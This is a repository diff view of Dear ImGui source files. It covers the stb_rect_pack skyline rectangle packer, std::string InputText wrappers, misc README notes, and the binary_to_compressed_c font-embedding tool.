#ifdef STB_RECT_PACK_IMPLEMENTATION
|
||||
#ifndef STBRP_SORT
|
||||
#include <stdlib.h>
|
||||
#define STBRP_SORT qsort
|
||||
#endif
|
||||
|
||||
#ifndef STBRP_ASSERT
|
||||
#include <assert.h>
|
||||
#define STBRP_ASSERT assert
|
||||
#endif
|
||||
|
||||
// [DEAR IMGUI] Added STBRP__CDECL
|
||||
#ifdef _MSC_VER
|
||||
#define STBRP__NOTUSED(v) (void)(v)
|
||||
#define STBRP__CDECL __cdecl
|
||||
#else
|
||||
#define STBRP__NOTUSED(v) (void)sizeof(v)
|
||||
#define STBRP__CDECL
|
||||
#endif
|
||||
|
||||
enum
|
||||
{
|
||||
STBRP__INIT_skyline = 1
|
||||
};
|
||||
|
||||
STBRP_DEF void stbrp_setup_heuristic(stbrp_context *context, int heuristic)
|
||||
{
|
||||
switch (context->init_mode) {
|
||||
case STBRP__INIT_skyline:
|
||||
STBRP_ASSERT(heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight || heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight);
|
||||
context->heuristic = heuristic;
|
||||
break;
|
||||
default:
|
||||
STBRP_ASSERT(0);
|
||||
}
|
||||
}
|
||||
|
||||
STBRP_DEF void stbrp_setup_allow_out_of_mem(stbrp_context *context, int allow_out_of_mem)
|
||||
{
|
||||
if (allow_out_of_mem)
|
||||
// if it's ok to run out of memory, then don't bother aligning them;
|
||||
// this gives better packing, but may fail due to OOM (even though
|
||||
// the rectangles easily fit). @TODO a smarter approach would be to only
|
||||
// quantize once we've hit OOM, then we could get rid of this parameter.
|
||||
context->align = 1;
|
||||
else {
|
||||
// if it's not ok to run out of memory, then quantize the widths
|
||||
// so that num_nodes is always enough nodes.
|
||||
//
|
||||
// I.e. num_nodes * align >= width
|
||||
// align >= width / num_nodes
|
||||
// align = ceil(width/num_nodes)
|
||||
|
||||
context->align = (context->width + context->num_nodes-1) / context->num_nodes;
|
||||
}
|
||||
}
|
||||
|
||||
STBRP_DEF void stbrp_init_target(stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes)
|
||||
{
|
||||
int i;
|
||||
#ifndef STBRP_LARGE_RECTS
|
||||
STBRP_ASSERT(width <= 0xffff && height <= 0xffff);
|
||||
#endif
|
||||
|
||||
for (i=0; i < num_nodes-1; ++i)
|
||||
nodes[i].next = &nodes[i+1];
|
||||
nodes[i].next = NULL;
|
||||
context->init_mode = STBRP__INIT_skyline;
|
||||
context->heuristic = STBRP_HEURISTIC_Skyline_default;
|
||||
context->free_head = &nodes[0];
|
||||
context->active_head = &context->extra[0];
|
||||
context->width = width;
|
||||
context->height = height;
|
||||
context->num_nodes = num_nodes;
|
||||
stbrp_setup_allow_out_of_mem(context, 0);
|
||||
|
||||
// node 0 is the full width, node 1 is the sentinel (lets us not store width explicitly)
|
||||
context->extra[0].x = 0;
|
||||
context->extra[0].y = 0;
|
||||
context->extra[0].next = &context->extra[1];
|
||||
context->extra[1].x = (stbrp_coord) width;
|
||||
#ifdef STBRP_LARGE_RECTS
|
||||
context->extra[1].y = (1<<30);
|
||||
#else
|
||||
context->extra[1].y = 65535;
|
||||
#endif
|
||||
context->extra[1].next = NULL;
|
||||
}
|
||||
|
||||
// find minimum y position if it starts at x1
|
||||
static int stbrp__skyline_find_min_y(stbrp_context *c, stbrp_node *first, int x0, int width, int *pwaste)
|
||||
{
|
||||
stbrp_node *node = first;
|
||||
int x1 = x0 + width;
|
||||
int min_y, visited_width, waste_area;
|
||||
|
||||
STBRP__NOTUSED(c);
|
||||
|
||||
STBRP_ASSERT(first->x <= x0);
|
||||
|
||||
#if 0
|
||||
// skip in case we're past the node
|
||||
while (node->next->x <= x0)
|
||||
++node;
|
||||
#else
|
||||
STBRP_ASSERT(node->next->x > x0); // we ended up handling this in the caller for efficiency
|
||||
#endif
|
||||
|
||||
STBRP_ASSERT(node->x <= x0);
|
||||
|
||||
min_y = 0;
|
||||
waste_area = 0;
|
||||
visited_width = 0;
|
||||
while (node->x < x1) {
|
||||
if (node->y > min_y) {
|
||||
// raise min_y higher.
|
||||
// we've accounted for all waste up to min_y,
|
||||
// but we'll now add more waste for everything we've visted
|
||||
waste_area += visited_width * (node->y - min_y);
|
||||
min_y = node->y;
|
||||
// the first time through, visited_width might be reduced
|
||||
if (node->x < x0)
|
||||
visited_width += node->next->x - x0;
|
||||
else
|
||||
visited_width += node->next->x - node->x;
|
||||
} else {
|
||||
// add waste area
|
||||
int under_width = node->next->x - node->x;
|
||||
if (under_width + visited_width > width)
|
||||
under_width = width - visited_width;
|
||||
waste_area += under_width * (min_y - node->y);
|
||||
visited_width += under_width;
|
||||
}
|
||||
node = node->next;
|
||||
}
|
||||
|
||||
*pwaste = waste_area;
|
||||
return min_y;
|
||||
}
|
||||
|
||||
typedef struct
|
||||
{
|
||||
int x,y;
|
||||
stbrp_node **prev_link;
|
||||
} stbrp__findresult;
|
||||
|
||||
static stbrp__findresult stbrp__skyline_find_best_pos(stbrp_context *c, int width, int height)
|
||||
{
|
||||
int best_waste = (1<<30), best_x, best_y = (1 << 30);
|
||||
stbrp__findresult fr;
|
||||
stbrp_node **prev, *node, *tail, **best = NULL;
|
||||
|
||||
// align to multiple of c->align
|
||||
width = (width + c->align - 1);
|
||||
width -= width % c->align;
|
||||
STBRP_ASSERT(width % c->align == 0);
|
||||
|
||||
// if it can't possibly fit, bail immediately
|
||||
if (width > c->width || height > c->height) {
|
||||
fr.prev_link = NULL;
|
||||
fr.x = fr.y = 0;
|
||||
return fr;
|
||||
}
|
||||
|
||||
node = c->active_head;
|
||||
prev = &c->active_head;
|
||||
while (node->x + width <= c->width) {
|
||||
int y,waste;
|
||||
y = stbrp__skyline_find_min_y(c, node, node->x, width, &waste);
|
||||
if (c->heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight) { // actually just want to test BL
|
||||
// bottom left
|
||||
if (y < best_y) {
|
||||
best_y = y;
|
||||
best = prev;
|
||||
}
|
||||
} else {
|
||||
// best-fit
|
||||
if (y + height <= c->height) {
|
||||
// can only use it if it first vertically
|
||||
if (y < best_y || (y == best_y && waste < best_waste)) {
|
||||
best_y = y;
|
||||
best_waste = waste;
|
||||
best = prev;
|
||||
}
|
||||
}
|
||||
}
|
||||
prev = &node->next;
|
||||
node = node->next;
|
||||
}
|
||||
|
||||
best_x = (best == NULL) ? 0 : (*best)->x;
|
||||
|
||||
// if doing best-fit (BF), we also have to try aligning right edge to each node position
|
||||
//
|
||||
// e.g, if fitting
|
||||
//
|
||||
// ____________________
|
||||
// |____________________|
|
||||
//
|
||||
// into
|
||||
//
|
||||
// | |
|
||||
// | ____________|
|
||||
// |____________|
|
||||
//
|
||||
// then right-aligned reduces waste, but bottom-left BL is always chooses left-aligned
|
||||
//
|
||||
// This makes BF take about 2x the time
|
||||
|
||||
if (c->heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight) {
|
||||
tail = c->active_head;
|
||||
node = c->active_head;
|
||||
prev = &c->active_head;
|
||||
// find first node that's admissible
|
||||
while (tail->x < width)
|
||||
tail = tail->next;
|
||||
while (tail) {
|
||||
int xpos = tail->x - width;
|
||||
int y,waste;
|
||||
STBRP_ASSERT(xpos >= 0);
|
||||
// find the left position that matches this
|
||||
while (node->next->x <= xpos) {
|
||||
prev = &node->next;
|
||||
node = node->next;
|
||||
}
|
||||
STBRP_ASSERT(node->next->x > xpos && node->x <= xpos);
|
||||
y = stbrp__skyline_find_min_y(c, node, xpos, width, &waste);
|
||||
if (y + height <= c->height) {
|
||||
if (y <= best_y) {
|
||||
if (y < best_y || waste < best_waste || (waste==best_waste && xpos < best_x)) {
|
||||
best_x = xpos;
|
||||
STBRP_ASSERT(y <= best_y);
|
||||
best_y = y;
|
||||
best_waste = waste;
|
||||
best = prev;
|
||||
}
|
||||
}
|
||||
}
|
||||
tail = tail->next;
|
||||
}
|
||||
}
|
||||
|
||||
fr.prev_link = best;
|
||||
fr.x = best_x;
|
||||
fr.y = best_y;
|
||||
return fr;
|
||||
}
|
||||
|
||||
static stbrp__findresult stbrp__skyline_pack_rectangle(stbrp_context *context, int width, int height)
|
||||
{
|
||||
// find best position according to heuristic
|
||||
stbrp__findresult res = stbrp__skyline_find_best_pos(context, width, height);
|
||||
stbrp_node *node, *cur;
|
||||
|
||||
// bail if:
|
||||
// 1. it failed
|
||||
// 2. the best node doesn't fit (we don't always check this)
|
||||
// 3. we're out of memory
|
||||
if (res.prev_link == NULL || res.y + height > context->height || context->free_head == NULL) {
|
||||
res.prev_link = NULL;
|
||||
return res;
|
||||
}
|
||||
|
||||
// on success, create new node
|
||||
node = context->free_head;
|
||||
node->x = (stbrp_coord) res.x;
|
||||
node->y = (stbrp_coord) (res.y + height);
|
||||
|
||||
context->free_head = node->next;
|
||||
|
||||
// insert the new node into the right starting point, and
|
||||
// let 'cur' point to the remaining nodes needing to be
|
||||
// stiched back in
|
||||
|
||||
cur = *res.prev_link;
|
||||
if (cur->x < res.x) {
|
||||
// preserve the existing one, so start testing with the next one
|
||||
stbrp_node *next = cur->next;
|
||||
cur->next = node;
|
||||
cur = next;
|
||||
} else {
|
||||
*res.prev_link = node;
|
||||
}
|
||||
|
||||
// from here, traverse cur and free the nodes, until we get to one
|
||||
// that shouldn't be freed
|
||||
while (cur->next && cur->next->x <= res.x + width) {
|
||||
stbrp_node *next = cur->next;
|
||||
// move the current node to the free list
|
||||
cur->next = context->free_head;
|
||||
context->free_head = cur;
|
||||
cur = next;
|
||||
}
|
||||
|
||||
// stitch the list back in
|
||||
node->next = cur;
|
||||
|
||||
if (cur->x < res.x + width)
|
||||
cur->x = (stbrp_coord) (res.x + width);
|
||||
|
||||
#ifdef _DEBUG
|
||||
cur = context->active_head;
|
||||
while (cur->x < context->width) {
|
||||
STBRP_ASSERT(cur->x < cur->next->x);
|
||||
cur = cur->next;
|
||||
}
|
||||
STBRP_ASSERT(cur->next == NULL);
|
||||
|
||||
{
|
||||
int count=0;
|
||||
cur = context->active_head;
|
||||
while (cur) {
|
||||
cur = cur->next;
|
||||
++count;
|
||||
}
|
||||
cur = context->free_head;
|
||||
while (cur) {
|
||||
cur = cur->next;
|
||||
++count;
|
||||
}
|
||||
STBRP_ASSERT(count == context->num_nodes+2);
|
||||
}
|
||||
#endif
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
// [DEAR IMGUI] Added STBRP__CDECL
|
||||
static int STBRP__CDECL rect_height_compare(const void *a, const void *b)
|
||||
{
|
||||
const stbrp_rect *p = (const stbrp_rect *) a;
|
||||
const stbrp_rect *q = (const stbrp_rect *) b;
|
||||
if (p->h > q->h)
|
||||
return -1;
|
||||
if (p->h < q->h)
|
||||
return 1;
|
||||
return (p->w > q->w) ? -1 : (p->w < q->w);
|
||||
}
|
||||
|
||||
// [DEAR IMGUI] Added STBRP__CDECL
|
||||
static int STBRP__CDECL rect_original_order(const void *a, const void *b)
|
||||
{
|
||||
const stbrp_rect *p = (const stbrp_rect *) a;
|
||||
const stbrp_rect *q = (const stbrp_rect *) b;
|
||||
return (p->was_packed < q->was_packed) ? -1 : (p->was_packed > q->was_packed);
|
||||
}
|
||||
|
||||
#ifdef STBRP_LARGE_RECTS
|
||||
#define STBRP__MAXVAL 0xffffffff
|
||||
#else
|
||||
#define STBRP__MAXVAL 0xffff
|
||||
#endif
|
||||
|
||||
STBRP_DEF int stbrp_pack_rects(stbrp_context *context, stbrp_rect *rects, int num_rects)
|
||||
{
|
||||
int i, all_rects_packed = 1;
|
||||
|
||||
// we use the 'was_packed' field internally to allow sorting/unsorting
|
||||
for (i=0; i < num_rects; ++i) {
|
||||
rects[i].was_packed = i;
|
||||
}
|
||||
|
||||
// sort according to heuristic
|
||||
STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_height_compare);
|
||||
|
||||
for (i=0; i < num_rects; ++i) {
|
||||
if (rects[i].w == 0 || rects[i].h == 0) {
|
||||
rects[i].x = rects[i].y = 0; // empty rect needs no space
|
||||
} else {
|
||||
stbrp__findresult fr = stbrp__skyline_pack_rectangle(context, rects[i].w, rects[i].h);
|
||||
if (fr.prev_link) {
|
||||
rects[i].x = (stbrp_coord) fr.x;
|
||||
rects[i].y = (stbrp_coord) fr.y;
|
||||
} else {
|
||||
rects[i].x = rects[i].y = STBRP__MAXVAL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// unsort
|
||||
STBRP_SORT(rects, num_rects, sizeof(rects[0]), rect_original_order);
|
||||
|
||||
// set was_packed flags and all_rects_packed status
|
||||
for (i=0; i < num_rects; ++i) {
|
||||
rects[i].was_packed = !(rects[i].x == STBRP__MAXVAL && rects[i].y == STBRP__MAXVAL);
|
||||
if (!rects[i].was_packed)
|
||||
all_rects_packed = 0;
|
||||
}
|
||||
|
||||
// return the all_rects_packed status
|
||||
return all_rects_packed;
|
||||
}
|
||||
#endif
|
||||
|
||||
/*
|
||||
------------------------------------------------------------------------------
|
||||
This software is available under 2 licenses -- choose whichever you prefer.
|
||||
------------------------------------------------------------------------------
|
||||
ALTERNATIVE A - MIT License
|
||||
Copyright (c) 2017 Sean Barrett
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal in
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
------------------------------------------------------------------------------
|
||||
ALTERNATIVE B - Public Domain (www.unlicense.org)
|
||||
This is free and unencumbered software released into the public domain.
|
||||
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
|
||||
software, either in source code form or as a compiled binary, for any purpose,
|
||||
commercial or non-commercial, and by any means.
|
||||
In jurisdictions that recognize copyright laws, the author or authors of this
|
||||
software dedicate any and all copyright interest in the software to the public
|
||||
domain. We make this dedication for the benefit of the public at large and to
|
||||
the detriment of our heirs and successors. We intend this dedication to be an
|
||||
overt act of relinquishment in perpetuity of all present and future rights to
|
||||
this software under copyright law.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
|
||||
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
------------------------------------------------------------------------------
|
||||
*/
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@ -1,24 +0,0 @@
|
||||
|
||||
misc/cpp/
|
||||
InputText() wrappers for C++ standard library (STL) type: std::string.
|
||||
This is also an example of how you may wrap your own similar types.
|
||||
|
||||
misc/fonts/
|
||||
Fonts loading/merging instructions (e.g. How to handle glyph ranges, how to merge icons fonts).
|
||||
Command line tool "binary_to_compressed_c" to create compressed arrays to embed data in source code.
|
||||
Suggested fonts and links.
|
||||
|
||||
misc/freetype/
|
||||
Font atlas builder/rasterizer using FreeType instead of stb_truetype.
|
||||
Benefit from better FreeType rasterization, in particular for small fonts.
|
||||
|
||||
misc/natvis/
|
||||
Natvis file to describe dear imgui types in the Visual Studio debugger.
|
||||
With this, types like ImVector<> will be displayed nicely in the debugger.
|
||||
You can include this file a Visual Studio project file, or install it in Visual Studio folder.
|
||||
|
||||
misc/single_file/
|
||||
Single-file header stub.
|
||||
We use this to validate compiling all *.cpp files in a same compilation unit.
|
||||
Users of that technique (also called "Unity builds") can generally provide this themselves,
|
||||
so we don't really recommend you use this in your projects.
|
@ -1,10 +0,0 @@
|
||||
|
||||
imgui_stdlib.h + imgui_stdlib.cpp
|
||||
InputText() wrappers for C++ standard library (STL) type: std::string.
|
||||
This is also an example of how you may wrap your own similar types.
|
||||
|
||||
imgui_scoped.h
|
||||
[Experimental, not currently in main repository]
|
||||
Additional header file with some RAII-style wrappers for common Dear ImGui functions.
|
||||
Try by merging: https://github.com/ocornut/imgui/pull/2197
|
||||
Discuss at: https://github.com/ocornut/imgui/issues/2096
|
@ -1,76 +0,0 @@
|
||||
// dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.)
|
||||
// This is also an example of how you may wrap your own similar types.
|
||||
|
||||
// Compatibility:
|
||||
// - std::string support is only guaranteed to work from C++11.
|
||||
// If you try to use it pre-C++11, please share your findings (w/ info about compiler/architecture)
|
||||
|
||||
// Changelog:
|
||||
// - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string
|
||||
|
||||
#include "imgui.h"
|
||||
#include "imgui_stdlib.h"
|
||||
|
||||
struct InputTextCallback_UserData
|
||||
{
|
||||
std::string* Str;
|
||||
ImGuiInputTextCallback ChainCallback;
|
||||
void* ChainCallbackUserData;
|
||||
};
|
||||
|
||||
static int InputTextCallback(ImGuiInputTextCallbackData* data)
|
||||
{
|
||||
InputTextCallback_UserData* user_data = (InputTextCallback_UserData*)data->UserData;
|
||||
if (data->EventFlag == ImGuiInputTextFlags_CallbackResize)
|
||||
{
|
||||
// Resize string callback
|
||||
// If for some reason we refuse the new length (BufTextLen) and/or capacity (BufSize) we need to set them back to what we want.
|
||||
std::string* str = user_data->Str;
|
||||
IM_ASSERT(data->Buf == str->c_str());
|
||||
str->resize(data->BufTextLen);
|
||||
data->Buf = (char*)str->c_str();
|
||||
}
|
||||
else if (user_data->ChainCallback)
|
||||
{
|
||||
// Forward to user callback, if any
|
||||
data->UserData = user_data->ChainCallbackUserData;
|
||||
return user_data->ChainCallback(data);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool ImGui::InputText(const char* label, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data)
|
||||
{
|
||||
IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0);
|
||||
flags |= ImGuiInputTextFlags_CallbackResize;
|
||||
|
||||
InputTextCallback_UserData cb_user_data;
|
||||
cb_user_data.Str = str;
|
||||
cb_user_data.ChainCallback = callback;
|
||||
cb_user_data.ChainCallbackUserData = user_data;
|
||||
return InputText(label, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data);
|
||||
}
|
||||
|
||||
bool ImGui::InputTextMultiline(const char* label, std::string* str, const ImVec2& size, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data)
|
||||
{
|
||||
IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0);
|
||||
flags |= ImGuiInputTextFlags_CallbackResize;
|
||||
|
||||
InputTextCallback_UserData cb_user_data;
|
||||
cb_user_data.Str = str;
|
||||
cb_user_data.ChainCallback = callback;
|
||||
cb_user_data.ChainCallbackUserData = user_data;
|
||||
return InputTextMultiline(label, (char*)str->c_str(), str->capacity() + 1, size, flags, InputTextCallback, &cb_user_data);
|
||||
}
|
||||
|
||||
bool ImGui::InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data)
|
||||
{
|
||||
IM_ASSERT((flags & ImGuiInputTextFlags_CallbackResize) == 0);
|
||||
flags |= ImGuiInputTextFlags_CallbackResize;
|
||||
|
||||
InputTextCallback_UserData cb_user_data;
|
||||
cb_user_data.Str = str;
|
||||
cb_user_data.ChainCallback = callback;
|
||||
cb_user_data.ChainCallbackUserData = user_data;
|
||||
return InputTextWithHint(label, hint, (char*)str->c_str(), str->capacity() + 1, flags, InputTextCallback, &cb_user_data);
|
||||
}
|
@ -1,22 +0,0 @@
|
||||
// dear imgui: wrappers for C++ standard library (STL) types (std::string, etc.)
|
||||
// This is also an example of how you may wrap your own similar types.
|
||||
|
||||
// Compatibility:
|
||||
// - std::string support is only guaranteed to work from C++11.
|
||||
// If you try to use it pre-C++11, please share your findings (w/ info about compiler/architecture)
|
||||
|
||||
// Changelog:
|
||||
// - v0.10: Initial version. Added InputText() / InputTextMultiline() calls with std::string
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
|
||||
namespace ImGui
|
||||
{
|
||||
// ImGui::InputText() with std::string
|
||||
// Because text input needs dynamic resizing, we need to setup a callback to grow the capacity
|
||||
IMGUI_API bool InputText(const char* label, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL);
|
||||
IMGUI_API bool InputTextMultiline(const char* label, std::string* str, const ImVec2& size = ImVec2(0, 0), ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL);
|
||||
IMGUI_API bool InputTextWithHint(const char* label, const char* hint, std::string* str, ImGuiInputTextFlags flags = 0, ImGuiInputTextCallback callback = NULL, void* user_data = NULL);
|
||||
}
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -1,385 +0,0 @@
|
||||
// dear imgui
|
||||
// (binary_to_compressed_c.cpp)
|
||||
// Helper tool to turn a file into a C array, if you want to embed font data in your source code.
|
||||
|
||||
// The data is first compressed with stb_compress() to reduce source code size,
|
||||
// then encoded in Base85 to fit in a string so we can fit roughly 4 bytes of compressed data into 5 bytes of source code (suggested by @mmalex)
|
||||
// (If we used 32-bit constants it would require take 11 bytes of source code to encode 4 bytes, and be endianness dependent)
|
||||
// Note that even with compression, the output array is likely to be bigger than the binary file..
|
||||
// Load compressed TTF fonts with ImGui::GetIO().Fonts->AddFontFromMemoryCompressedTTF()
|
||||
|
||||
// Build with, e.g:
|
||||
// # cl.exe binary_to_compressed_c.cpp
|
||||
// # g++ binary_to_compressed_c.cpp
|
||||
// # clang++ binary_to_compressed_c.cpp
|
||||
// You can also find a precompiled Windows binary in the binary/demo package available from https://github.com/ocornut/imgui
|
||||
|
||||
// Usage:
|
||||
// binary_to_compressed_c.exe [-base85] [-nocompress] <inputfile> <symbolname>
|
||||
// Usage example:
|
||||
// # binary_to_compressed_c.exe myfont.ttf MyFont > myfont.cpp
|
||||
// # binary_to_compressed_c.exe -base85 myfont.ttf MyFont > myfont.cpp
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <assert.h>
|
||||
|
||||
// stb_compress* from stb.h - declaration
|
||||
typedef unsigned int stb_uint;
|
||||
typedef unsigned char stb_uchar;
|
||||
stb_uint stb_compress(stb_uchar* out, stb_uchar* in, stb_uint len);
|
||||
|
||||
static bool binary_to_compressed_c(const char* filename, const char* symbol, bool use_base85_encoding, bool use_compression);
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
printf("Syntax: %s [-base85] [-nocompress] <inputfile> <symbolname>\n", argv[0]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int argn = 1;
|
||||
bool use_base85_encoding = false;
|
||||
bool use_compression = true;
|
||||
if (argv[argn][0] == '-')
|
||||
{
|
||||
if (strcmp(argv[argn], "-base85") == 0) { use_base85_encoding = true; argn++; }
|
||||
else if (strcmp(argv[argn], "-nocompress") == 0) { use_compression = false; argn++; }
|
||||
else
|
||||
{
|
||||
fprintf(stderr, "Unknown argument: '%s'\n", argv[argn]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
bool ret = binary_to_compressed_c(argv[argn], argv[argn + 1], use_base85_encoding, use_compression);
|
||||
if (!ret)
|
||||
fprintf(stderr, "Error opening or reading file: '%s'\n", argv[argn]);
|
||||
return ret ? 0 : 1;
|
||||
}
|
||||
|
||||
char Encode85Byte(unsigned int x)
|
||||
{
|
||||
x = (x % 85) + 35;
|
||||
return (x >= '\\') ? x + 1 : x;
|
||||
}
|
||||
|
||||
bool binary_to_compressed_c(const char* filename, const char* symbol, bool use_base85_encoding, bool use_compression)
|
||||
{
|
||||
// Read file
|
||||
FILE* f = fopen(filename, "rb");
|
||||
if (!f) return false;
|
||||
int data_sz;
|
||||
if (fseek(f, 0, SEEK_END) || (data_sz = (int)ftell(f)) == -1 || fseek(f, 0, SEEK_SET)) { fclose(f); return false; }
|
||||
char* data = new char[data_sz + 4];
|
||||
if (fread(data, 1, data_sz, f) != (size_t)data_sz) { fclose(f); delete[] data; return false; }
|
||||
memset((void*)(((char*)data) + data_sz), 0, 4);
|
||||
fclose(f);
|
||||
|
||||
// Compress
|
||||
int maxlen = data_sz + 512 + (data_sz >> 2) + sizeof(int); // total guess
|
||||
char* compressed = use_compression ? new char[maxlen] : data;
|
||||
int compressed_sz = use_compression ? stb_compress((stb_uchar*)compressed, (stb_uchar*)data, data_sz) : data_sz;
|
||||
if (use_compression)
|
||||
memset(compressed + compressed_sz, 0, maxlen - compressed_sz);
|
||||
|
||||
// Output as Base85 encoded
|
||||
FILE* out = stdout;
|
||||
fprintf(out, "// File: '%s' (%d bytes)\n", filename, (int)data_sz);
|
||||
fprintf(out, "// Exported using binary_to_compressed_c.cpp\n");
|
||||
const char* compressed_str = use_compression ? "compressed_" : "";
|
||||
if (use_base85_encoding)
|
||||
{
|
||||
fprintf(out, "static const char %s_%sdata_base85[%d+1] =\n \"", symbol, compressed_str, (int)((compressed_sz + 3) / 4)*5);
|
||||
char prev_c = 0;
|
||||
for (int src_i = 0; src_i < compressed_sz; src_i += 4)
|
||||
{
|
||||
// This is made a little more complicated by the fact that ??X sequences are interpreted as trigraphs by old C/C++ compilers. So we need to escape pairs of ??.
|
||||
unsigned int d = *(unsigned int*)(compressed + src_i);
|
||||
for (unsigned int n5 = 0; n5 < 5; n5++, d /= 85)
|
||||
{
|
||||
char c = Encode85Byte(d);
|
||||
fprintf(out, (c == '?' && prev_c == '?') ? "\\%c" : "%c", c);
|
||||
prev_c = c;
|
||||
}
|
||||
if ((src_i % 112) == 112 - 4)
|
||||
fprintf(out, "\"\n \"");
|
||||
}
|
||||
fprintf(out, "\";\n\n");
|
||||
}
|
||||
else
|
||||
{
|
||||
fprintf(out, "static const unsigned int %s_%ssize = %d;\n", symbol, compressed_str, (int)compressed_sz);
|
||||
fprintf(out, "static const unsigned int %s_%sdata[%d/4] =\n{", symbol, compressed_str, (int)((compressed_sz + 3) / 4)*4);
|
||||
int column = 0;
|
||||
for (int i = 0; i < compressed_sz; i += 4)
|
||||
{
|
||||
unsigned int d = *(unsigned int*)(compressed + i);
|
||||
if ((column++ % 12) == 0)
|
||||
fprintf(out, "\n 0x%08x, ", d);
|
||||
else
|
||||
fprintf(out, "0x%08x, ", d);
|
||||
}
|
||||
fprintf(out, "\n};\n\n");
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
delete[] data;
|
||||
if (use_compression)
|
||||
delete[] compressed;
|
||||
return true;
|
||||
}
|
||||
|
||||
// stb_compress* from stb.h - definition
|
||||
|
||||
//////////////////// compressor ///////////////////////
|
||||
|
||||
static stb_uint stb_adler32(stb_uint adler32, stb_uchar *buffer, stb_uint buflen)
|
||||
{
|
||||
const unsigned long ADLER_MOD = 65521;
|
||||
unsigned long s1 = adler32 & 0xffff, s2 = adler32 >> 16;
|
||||
unsigned long blocklen, i;
|
||||
|
||||
blocklen = buflen % 5552;
|
||||
while (buflen) {
|
||||
for (i=0; i + 7 < blocklen; i += 8) {
|
||||
s1 += buffer[0], s2 += s1;
|
||||
s1 += buffer[1], s2 += s1;
|
||||
s1 += buffer[2], s2 += s1;
|
||||
s1 += buffer[3], s2 += s1;
|
||||
s1 += buffer[4], s2 += s1;
|
||||
s1 += buffer[5], s2 += s1;
|
||||
s1 += buffer[6], s2 += s1;
|
||||
s1 += buffer[7], s2 += s1;
|
||||
|
||||
buffer += 8;
|
||||
}
|
||||
|
||||
for (; i < blocklen; ++i)
|
||||
s1 += *buffer++, s2 += s1;
|
||||
|
||||
s1 %= ADLER_MOD, s2 %= ADLER_MOD;
|
||||
buflen -= blocklen;
|
||||
blocklen = 5552;
|
||||
}
|
||||
return (s2 << 16) + s1;
|
||||
}
|
||||
|
||||
static unsigned int stb_matchlen(stb_uchar *m1, stb_uchar *m2, stb_uint maxlen)
|
||||
{
|
||||
stb_uint i;
|
||||
for (i=0; i < maxlen; ++i)
|
||||
if (m1[i] != m2[i]) return i;
|
||||
return i;
|
||||
}
|
||||
|
||||
// simple implementation that just takes the source data in a big block
|
||||
|
||||
static stb_uchar *stb__out;
|
||||
static FILE *stb__outfile;
|
||||
static stb_uint stb__outbytes;
|
||||
|
||||
static void stb__write(unsigned char v)
|
||||
{
|
||||
fputc(v, stb__outfile);
|
||||
++stb__outbytes;
|
||||
}
|
||||
|
||||
//#define stb_out(v) (stb__out ? *stb__out++ = (stb_uchar) (v) : stb__write((stb_uchar) (v)))
|
||||
